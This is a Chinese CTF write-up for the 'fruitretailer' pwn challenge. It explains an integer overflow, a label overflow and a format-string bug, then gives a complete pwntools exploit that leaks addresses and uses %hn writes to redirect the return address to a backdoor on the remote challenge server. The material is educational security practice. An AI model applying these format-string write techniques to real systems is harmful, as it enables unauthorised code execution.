xp0int Posted on Jun 18 2018 在cap.shao同学的说明下完成的,只能说比赛中的Pwn题还是需要多练习。这道题其实挺基础的,没有奇技淫巧,只是需要几个点联系起来。 一个很普通的列表题目,四个选项,实际上只用到了三个: 1. __buy\_friut__,实际上是往一个全局的basket链表中插入item,有apple和banana两种水果,对应不同的描述的buffer长度。 2. __create\_invoice__,打印basket链表中的item,有一个格式化字符串漏洞。 3. __change\_label__,改变一个长度10的字符串的值,但修改需要一个bool值为true,这个bool值在整个binary中都没有暴露出来。 水果的item是一个单链表结构,但实际上不会利用到next指针,结构如下: ```C struct fruit_item { struct fruit_item *next; int index; short int quantity; short int total; bool can_change_label; char label[10]; bool type; char buffer[128]; }; ``` `type`为false/0时是apple,true/!0是banana。两者的不同在于,`buffer`会被分为两部分,记做`base`和`extra`,正常来说,base是不可控的,extra是可控(在buy\_fruit时可以自行指定)的。最后一列的information,`'.'`之前的是`base`,之后的是`extra`。 ![enter image description here](https://leanote.com/api/file/getImage?fileId=5b274cb0ab644133a9000e46) 打发票时,`base`部分是直接用`printf`打印的,因此可能存在格式化字符串漏洞,要想办法控制`base`部分。读反编译代码可知,`extra`就是`buffer`的首地址,但`base`的首地址不同:作为apple时,`base`从`buffer+64`开始,作为banana时,`base`从`buffer+96`开始。如果能够将一个banana改成apple,那么就有可能将原来banana的`extra`部分当成apple的`base`打印出来,这一部分的长度最多有96-64=32字节。 `type`可以通过溢出`label`来修改:change\_label是利用scanf的,会在最后填充NULL字节,因此可以将banana修改为apple。 而`can_change_label`域需要通过整型溢出,本来程序会控制这一溢出的上界,但没有做正负性的判断,只要输入负数的`quantity`就可以在`total`处溢出,将下一个字节设为非0。 ![enter image description here](https://leanote.com/api/file/getImage?fileId=5b274ca6ab644131ba000df3) 接下来就可以执行格式化字符串了,在`printf`处打断点,能够看到执行时可用的参数: ![enter image description here](https://leanote.com/api/file/getImage?fileId=5b274e7eab644133a9000e6a) 用一些简单的prob可以看出64位cpu上的函数传参顺序,算是新知识了,函数从左到右到参数顺序分别是: > rdi, rsi, rdx, rcx, r8, r9, stack[0], stack[1], ... 依然不太明白为什么是这个奇怪的顺序。。。。。 stack和text都可以找到泄露的位置,通过计算就可以得到后门函数的地址和rbp,从而控制函数的返回地址。写的时候要注意几种格式控制符的长度,和在32位上完全不一样: > `"%n"` = 4 bytes > `"%hn"` = 2 bytes > `"%hhn"` = 1 byte 真正坑爹的是怎么写的问题,如果字符串在栈上,那好说,p64随便写地址就行了,但这个`buffer`偏偏是在堆上的,因此只能看看寄存器和栈上有没什么可以利用的。注意到上图中,`stack[0]`和`stack[2]`是一个链表结构,有指向关系: `stack[0] -> stack[2] -> text`。如果把`rbp+8`记做`ret`,即函数的返回地址,那么就可以应用如下的攻击思路: 1. 通过`stack[0]`将`stack[2]`指向`ret`,需要写一个byte 2. 通过`stack[2]`将`ret`指向后门函数,需要写两个bytes ```python from pwn import * context.log_level = 'debug' # p = process('./fruitretailer') p = remote('125.235.240.167', 5000) def buy_fruit(fruit, quantity, extra=None): fruit_i = {'a':1,'b':2}.get(fruit) exlen = {'a':64,'b':96}.get(fruit) p.sendlineafter('choice:', '1') p.sendlineafter('?:', str(fruit_i)) p.sendlineafter('quantity:', str(quantity)) if extra: if len(extra) < exlen: extra += '\n' p.sendlineafter('(Y/N)', 'Y') p.send(extra) else: p.sendlineafter('(Y/N)', 'N') return int(p.recvline().split()[1]) def change_label(index, label): if len(label) < 10: label += '\n' p.sendlineafter('choice:', '3') p.sendlineafter('change:', str(index)) p.sendafter('label:', label) def create_invoice(): p.sendlineafter('choice:', '2') def insert_fmtstr(fmtstr): assert len(fmtstr) <= 32 index = buy_fruit('b', -1, cyclic(64)+fmtstr) change_label(index, '0123456789') return index def leak_text(): insert_fmtstr('%9$lx@@') create_invoice() leak = p.recvuntil('@@aaaa', drop=True) sep = leak.rfind('|') leak = int(leak[sep+1:], 16) p.recvline() return leak def leak_stack(): insert_fmtstr('%8$lx@@') create_invoice() p.recvuntil('@@aaaa') leak = p.recvuntil('@@aaaa', drop=True) sep = leak.rfind('|') leak = int(leak[sep+1:], 16) p.recvline() return leak magic = leak_text() - 0x81e p.info('text to magic: %s', hex(magic)) ret = leak_stack() - 0x18 p.info('stack to ret: %s', hex(ret)) insert_fmtstr('%{}c%6$hhn'.format(ret%0x100)) insert_fmtstr('%{}c%8$hn'.format(magic%0x10000)) create_invoice() p.interactive() ``` ![enter image description here](https://leanote.com/api/file/getImage?fileId=5b2753efab644133a9000ef7) 其实还有一个问题,那个链表结构是什么。。。。感觉自己也还没有完全理解这道题,只能说稀里糊涂的做了,拿到flag了,但对一些原理还不能完全解释清楚。现在来看,这个链表似乎是rbp的链表,代表函数的调用关系?(乱说的) 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Bufoverflow_a - Cpt.shao [Crypto] web token - CirQ
没有帐号? 立即注册